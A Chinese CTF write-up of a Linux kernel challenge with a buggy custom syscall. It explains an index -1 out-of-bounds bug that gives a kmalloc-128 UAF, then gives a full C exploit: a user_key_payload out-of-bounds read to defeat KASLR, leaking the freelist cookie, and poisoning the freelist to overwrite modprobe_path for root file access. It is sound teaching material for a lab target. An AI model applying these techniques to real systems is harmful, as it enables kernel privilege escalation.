前言
这个题目折磨了我接近一天,服气了,题目不算难,但是利用写得的疯掉了~~~
然后这个题目跟之前的不同,之前的题目都是实现一个内核模块,而这个题目是直接实现了一个系统调用(:所以这里不存在一些条件竞争的漏洞
题目分析
- 内核版本
v5.14.16
smap/smep/kpti/kaslr
全开- 设置了
CONFIG_SLAB_FREELIST_HARDENED/RANDOM
编译选项,但是没有cg
隔离 modprobe_path
可劫持
题目给了源码:
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/module.h>
#include <linux/string.h>
#include <linux/fdtable.h>#ifndef __NR_IPS
#define __NR_IPS 548
#endif#define MAX 16typedef struct {int idx;unsigned short priority;char *data;
} userdata;typedef struct {void *next;int idx;unsigned short priority;char data[114];
} chunk;chunk *chunks[MAX] = {NULL};
int last_allocated_idx = -1;int get_idx(void) {int i;for(i = 0; i < MAX; i++) {if(chunks[i] == NULL) {return i;}}return -1;
}int check_idx(int idx) {if(idx < 0 || idx >= MAX) return -1;return idx;
}int remove_linked_list(int idx) {int i;for(i = 0; i < MAX; i++) {if(i == idx) continue;if(chunks[i]->next == chunks[idx]) {chunks[i]->next = chunks[idx]->next;break;}}return 0;
}int alloc_storage(unsigned int priority, char *data) {int idx = get_idx();if((idx = check_idx(idx)) < 0) return -1;chunks[idx] = kmalloc(sizeof(chunk), GFP_KERNEL);if(last_allocated_idx >= 0 && !(chunks[last_allocated_idx]->next)) {chunks[last_allocated_idx]->next = chunks[idx];}chunks[idx]->next = NULL;chunks[idx]->idx = idx;chunks[idx]->priority = priority;memcpy(chunks[idx]->data, data, strlen(data));last_allocated_idx = idx;return idx;
}int remove_storage(int idx) {if((idx = check_idx(idx)) < 0) return -1;if(chunks[idx] == NULL) return -1;int i;for(i = 0; i < MAX; i++) {if(i != idx && chunks[i] == chunks[idx]) { // 删除了所有引用chunks[i] = NULL;}}kfree(chunks[idx]);chunks[idx] = NULL;return 0;
}int edit_storage(int idx, char *data) {if((idx = check_idx(idx)) < 0); // 这里 idx 如果是非法的并没有 return,而是继续向下执行,所以这里的检查其实没用if(chunks[idx] == NULL) return -1;// 这里可能存在越界memcpy(chunks[idx]->data, data, strlen(data));return 0;
}int copy_storage(int idx) {if((idx = check_idx(idx)) < 0) return -1;if(chunks[idx] == NULL) return -1;int target_idx = get_idx(); // 没有对 target_idx 进行合法性检查,target_idx 可能是 -1chunks[target_idx] = chunks[idx];return target_idx;
}SYSCALL_DEFINE2(ips, int, choice, userdata *, udata) {char data[114] = {0};if(udata->data && strlen(udata->data) < 115) {if(copy_from_user(data, udata->data, strlen(udata->data))) return -1;}switch(choice) {case 1: return alloc_storage(udata->priority, data);case 2: return remove_storage(udata->idx);case 3: return edit_storage(udata->idx, data);case 4: return copy_storage(udata->idx);default: return -1;}
}
可以看到,代码主要实现了 __NR_IPS
系统调用,共 4 个功能,实现了堆块的增、删、复制、改。这里一开始就感觉 copy
存在问题,因为这里只是单纯的复制了指针,如果在释放堆块时没有正确处理则会导致 UAF
,但是查看 remove
代码可以发现,在删除一个堆块时,会清空所有对其的引用,所有这里也就自然不存在相关漏洞
但是仔细观察,可以发现 copy
中确实存在一个漏洞,当 chunks
数组满时,如果此时调用 copy
,这里的 get_idx
函数会因为找不到合适的位置而返回 -1,但是这里却没用对 target_idx
进行合法性检测,从而导致了数组越界(:往上溢出 1 [8 bytes]
然后看 remove
函数,其只检测 [0, MAX)
中的索引,所以这里 -1
就被排除在外了,所以可以利用其来构造一个 UAF
这里单纯一个 UAF
还构不成太大的问题,但是在 edit
中存在同样的问题,对于传入的 idx
,如果其不合法,则应该直接返回,但是 edit
仍然利用其进行写入:
int edit_storage(int idx, char *data) {// 这里 idx 如果是非法的并没有 return,而是继续向下执行,所以这里的 idx 可能为 -1if((idx = check_idx(idx)) < 0); if(chunks[idx] == NULL) return -1;memcpy(chunks[idx]->data, data, strlen(data));return 0;
}
可以看到这里仅仅是判断是否合法,但是没有做出相应的反应,所以这里就可以对释放的堆块进行写入了,所以这里我们获得了一个强大的原语:kmalloc-128 UAF
,可进行写入
漏洞利用
构造越界读
由于开启了 kaslr
,所以第一步得泄漏 kbase
,这里由于没开启 cg
隔离,所以比较简单,kmalloc-128
可以利用 msg_msg
或者 user_key_payload
去进行越界读(:msg_msg
还可以实现任意地址读,但是笔者喜欢用 user_key_payload
,思路如下:
add
16 次,使得chunks
被占满copy(idx)
,使得chunks[-1] = chunks[idx]
dele(idx)
释放chunks[idx]
,由于dele
只会检查[0, 16)
之间的索引,所以chunks[-1]
被保留,这里堆块记作UAF chunk
- 申请
user_key_payload
占据UAF chunk
- 利用
edit(-1)
修改UAF chunk
即修改user_key_payload
,此时就可以把user_key_payload
的datalen
改大从而实现越界读(:后面泄漏kbase
就比较简单了,可以先提前堆块一些user_key_payload
并revoke
掉
思路一:USMA
泄漏完 kbase
,笔者的第一想法就是 USMA
,因为这里 UAF chunk
是可以被写入的,这里思路如下:
- 释放掉
user_key_payload
即UAF chunk
- 申请
pgv
占据UAF chunk
- 利用
edit(-1)
修改UAF chunk
即修改pgv
即可进行USMA
但是测试发现没有相关 cap
,于是无法创建新的 namespace
,所以这个思路就放弃了
思路二:劫持 freelist
然后第二个思路就是去劫持 freelist
实现任意地址分配了,这里思路如下:
- 释放掉
user_key_payload
即UAF chunk
- 利用
edit(-1)
修改UAF chunk
的next
指针从而劫持freelist
这里来探索下该思路的可行性,首先,edit(-1)
只能修改 ptr + 8 + 6
之后的内存,但是这里调试发现 kmalloc-128
的 offset
为 0x40
,所以这里是可以覆写到 next
域的
然后就是去绕过 CONFIG_SLAB_FREELIST_HARDENED
了,而且这里的异或加密还做了加强:ptr_addr
会进行字节翻转后才进行异或,所以这里仅仅靠越界读是无法泄漏 cookie
的
所以这里想要泄漏 cookie
需要泄漏两个堆地址和其与 cookie
的异或加密值(其实就是最原始的泄漏方法,xor_val = swap(chunk1+0x40) ^ cookie ^ chunk2
,所以我们去泄漏 xor_val/chunk1/chunk2
,这样就可以泄漏 cookie
了)
这里就得利用 chunk
结构体上的 next
指针了,我们在构造越界读时,可以通过堆风水(单纯申请就行了,就是成功率低一些,但是省事啊)把 chunk
也布置在 user_key_payload
的下方,这里通过越界读就可以泄漏每个 chunk
的 next
值,这里就相当于泄漏的堆地址,并且可以通过 idx
确定当前 next
是哪一个 chunk
的地址,比如 chunk[idx]->next = chunk[idx+1]
,那如何确定 chunk[-1]
也就是 UAF chunk
的地址呢?其实也简单,越界读是连续的,所以通过某个 chunk[idx]
距离读取起始地址的偏移即可确定 chunk[-1]
的地址
这里假设泄漏了 chunk[i]、chunk[j]
的地址,那么后续利用如下:
- 释放
chunk[i] chunk[j]
此时freelist->chunk[j]->chun[i]
- 利用越界读泄漏
xor_val
,然后就可以计算出cookie
- 释放掉
user_key_payload
即UAF chunk
- 利用
edit(-1)
修改UAF chunk
的next
指针为cookie ^ swap(chunk[-1]+0x40) ^ (modprobe_path+offset)
- 这里
modprobe_path
存在offset
是因为如果你后面利用chunk
结构占据堆块的话,只能从+8+6
位置开始写;如果用user_key_payload
占据的话,只能从+0x18
位置开始写
- 这里
- 然后连续两次申请即可申请到
modprobe_path
附近的内存,然后就可以修改modprobe_path
最后 exploit
如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>void err_exit(char *msg)
{perror(msg);sleep(1);exit(EXIT_FAILURE);
}void fail_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(1);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}#ifndef __NR_IPS
#define __NR_IPS 548
#endiftypedef struct {int idx;unsigned short priority;char *data;
} userdata;typedef struct {uint64_t next;int idx;unsigned short priority;char data[114];
} chunk;void add(char* data) {userdata n = { .data = data };if (syscall(__NR_IPS, 1, &n) < 0)err_exit("add");
}void dele(int idx) {userdata n = { .idx = idx };syscall(__NR_IPS, 2, &n);
}void edit(int idx, char* data) {userdata n = { .idx = idx, .data = data };if (syscall(__NR_IPS, 3, &n)) err_exit("deit");
}void copy(int idx) {userdata n = { .idx = idx };syscall(__NR_IPS, 4, &n);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}typedef unsigned long long __u64;#define swap64(x) ((__u64)( \(((__u64)(x) & (__u64)0x00000000000000ffULL) << 56) | \(((__u64)(x) & (__u64)0x000000000000ff00ULL) << 40) | \(((__u64)(x) & (__u64)0x0000000000ff0000ULL) << 24) | \(((__u64)(x) & (__u64)0x00000000ff000000ULL) << 8) | \(((__u64)(x) & (__u64)0x000000ff00000000ULL) >> 8) | \(((__u64)(x) & (__u64)0x0000ff0000000000ULL) >> 24) | \(((__u64)(x) & (__u64)0x00ff000000000000ULL) >> 40) | \(((__u64)(x) & (__u64)0xff00000000000000ULL) >> 56)))void get_flag() {system("echo -ne '#!/bin/sh\n/bin/cp /root/flag.txt /home/user/flag.txt\n/bin/chmod 777 /home/user/flag.txt' > /home/user/x");system("chmod +x /home/user/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");system("chmod +x /home/user/dummy");system("/home/user/dummy");sleep(0.3);system("cat /home/user/flag.txt");
}int main(int argc, char** argv, char** envp)
{bind_core(0);int res;char desc[0x20] = { 0 };char buf[0x10000] = { 0 };uint64_t kbase = 0xffffffff81000000;uint64_t koffset = -1;uint64_t user_free_payload_rcu = 0xffffffff8137c190;for (int i = 0; i < 16; i++) {memset(buf, 'A'+i, 0x20);add(buf);}copy(8);dele(8);sprintf(desc, "%s", "XiaozaYa");int key_id = key_alloc(desc, buf, 80);if (key_id < 0) err_exit("key_alloc");memset(buf, '\xf0', 8);edit(-1, buf);res = key_read(key_id, buf, 0xff00);if (res < 0x1000) fail_exit("failed to overwrite datalen");for (int i = 0; i < 15; i++) {if (i != 8) dele(i);}#define SPRAY_KEY_NUMS 16int keys[SPRAY_KEY_NUMS];for (int i = 0; i < SPRAY_KEY_NUMS; i++) {sprintf(desc, "%s%d", "XiaozaYa", i);keys[i] = key_alloc(desc, buf, 80);if (keys[i] < 0) err_exit("key_alloc");}for (int i = 0; i < SPRAY_KEY_NUMS; i++) {key_revoke(keys[i]);}res = key_read(key_id, buf, 0xff00);for (int i = 0; i < res / 8; i++) {uint64_t val = *(uint64_t*)(buf + i*8);if ((val&0xfff) == 0x190 && val > 0xffffffff81000000 && ((val>>32)&0xffffffff) == 0xffffffff) {koffset = val - user_free_payload_rcu;kbase += koffset;break;}}if (koffset == -1) fail_exit("failed to bypass kaslr");uint64_t modprobe_path = 0xffffffff8244fa20 + koffset;printf("[+] koffset: %#llx\n", koffset);printf("[+] kbase: %#llx\n", kbase);printf("[+] modprobea_path: %#llx\n", modprobe_path);memset(buf, 0, sizeof(buf));for (int i = 0; i < 15; i++) {userdata n = { .data = buf, .priority = 'A'+i };syscall(__NR_IPS, 1, &n);}res = key_read(key_id, buf, 0xff00);
// binary_dump("LEAK DATA", buf+128-0x18, 128 * 20);chunk* h = NULL;int nums = 0;uint64_t addrs[16] = { 0 };uint64_t offsets[16];for (int i = 0; i < 16; i++) offsets[i] = -1;for (uint64_t i = 0; i < (res - 128 + 0x18) / 128; i++) {h = (buf+128-0x18) + i * 128;if (h->next > 0xffff000000000000 && (h->next&0xffff000000000000) == 0xffff000000000000 && (h->idx + 'A') == h->priority) {if (h->idx == 15) {addrs[0] = h->next;} else {addrs[h->idx+1] = h->next;}offsets[h->idx] = i;}}#define IDX 0#define ADDR 1#define OFFSET 2uint64_t map[16][3];for (int i = 0; i < 16; i++) {if (addrs[i] && offsets[i] != -1) {printf("[---offset %03x---] %02d => %#llx\n", offsets[i], i, addrs[i]);map[nums][IDX] = i;map[nums][ADDR] = addrs[i];map[nums][OFFSET] = offsets[i];nums++;}}printf("[+] hit counts: %d\n", nums);if (nums < 2) fail_exit("failed to hit");uint64_t evil_chunk = map[0][ADDR] - map[0][OFFSET] * 128 - 128;printf("[+] evil_chunk: %#llx\n", evil_chunk);dele(map[0][IDX]);dele(map[1][IDX]);res = key_read(key_id, buf, 0xff00);uint64_t xor_val0 = *(uint64_t*)(buf+128-0x18+128*map[0][OFFSET]+0x40);uint64_t xor_val1 = *(uint64_t*)(buf+128-0x18+128*map[1][OFFSET]+0x40);printf("[+] xor_val0: %#llx\n", xor_val0);printf("[+] xor_val1: %#llx\n", xor_val1);uint64_t cookie = map[0][ADDR] ^ swap64((map[1][ADDR]+0x40)) ^ xor_val1;printf("[+] cookie: %#llx\n", cookie);memset(buf, '\x00', 0x100);memset(buf, 'A', 0x32);buf[0] = '\xff';buf[1] = '\xff';*(uint64_t*)(buf+0x32) = (modprobe_path-8-6) ^ cookie ^ swap64((evil_chunk+0x40));printf("[+] evil freelist: %#llx\n", *(uint64_t*)(buf+0x32));printf("[+] data len: %x\n", strlen(buf));key_revoke(key_id);
// key_unlink(key_id);
// edit(-1, buf);
// edit(-1, buf);getchar(); // <=================== 不要删除,不然利用失败edit(-1, buf);memset(buf, '\x00', 0x100);strcpy(buf, "/home/user/x");for (int i = 0; i < 2; i++) {add(buf);}get_flag();
// puts("[+] debug");
// getchar();puts("[+] EXP NERVER END");return 0;
}
效果如下:
存在的问题
首先就是成功率不是很高啦,这个从我的 exploit
就可以看出,笔者并没有优化相关的堆风水,整个堆布局的构建都很简单粗暴,所以成功率低可以理解
关键的问题是可以看到我 exploit
中在修改 chunk[-1]
的 next
时,在前面加上了一个 getchar()
,这个 getchar()
不是随意加的,因为笔者测试发现删除该 getchar()
则导致 edit(-1, buf)
写入失败。但是在调试的时候不加又是可以成功写入的,直接运行不加则会导致写入失败: